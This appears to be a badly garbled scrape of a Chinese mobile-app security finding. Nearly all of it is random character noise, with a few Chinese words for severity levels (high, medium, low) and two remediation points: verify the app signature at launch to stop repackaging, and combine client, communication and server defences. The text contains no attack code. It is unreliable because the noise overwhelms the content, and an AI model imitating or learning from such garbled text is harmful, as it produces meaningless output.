5 {! m" r7 `% a$ x+ U ' u5 g: i$ p% ^/ z0 \7 O + o- o- D7 D! V 严重程度 ! K. j6 V) I0 o- j' h * f' F/ S6 X- l6 V( k2 V+ ?7 E	* k3 F) ~0 q0 o* e8 j 2 K' n6 f: x8 S* E" H+ P& P" D+ @ 0 ?0 ]0 ~; g# o8 [ ! s9 ~# `# G @) X 高 ; _: L! Q- [3 W: u+ m! @ / T8 b! W, y9 C	4 W/ U# k) [+ ^3 H7 V; H. y - F# _, a2 Q- T" ?- G! U# d ■ / G8 H2 s0 e. C) V	* W! j9 z+ ^3 x 中	$ q, n1 ^, v6 `- r8 S$ T, i+ [ 3 A+ L" u+ [8 V) B9 ^) ?' z0 I8 A   5 |8 k+ K: R T" ^8 d4 q2 m	5 t n/ v% c, S $ {2 k5 H* O" ?: e r) u% P- S9 {8 m/ k$ G * J8 {) x0 ^* t7 I# J b, z 低	, l& A* g/ N) m4 Y . q( F. N6 [5 [ & U, u3 \' M! t' R, ^2 `   . a8 e2 p6 G* K; n! f4 k j ( Q" r; ?+ a; U' t9 t9 s

0 k" X+ ^4 v& p# d' g$ g

3 E/ L/ ~% d, K( {4 M: H  

1 f+ y. H& G4 y5 B( S2 V4 T6 z S ( Z" \) _$ P7 s: w/ f: _

$ }0 r4 K5 @6 F( G; z, u ( Y5 ?. j5 i1 w( `9 w 修复方法：

# }/ B, |) l- R6 O 5 v/ I/ Q( X+ e1 G) K( W

              1.在 APP 启动时应做签名校验防止二次打包。
* C+ C( A& n( _, D: l) L( f, G 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 4 r$ c, H4 S+ R4 ]3 ~

7 a, R G" R4 z7 p

  3 V9 J9 Q8 ?& a, O4 q & _( ~& P# H5 X; s

5 ?+ X- `" n) } y r1 \

5 a7 M3 S; R, m7 R N9 E) m / X4 A( u9 Q: e1 ]! l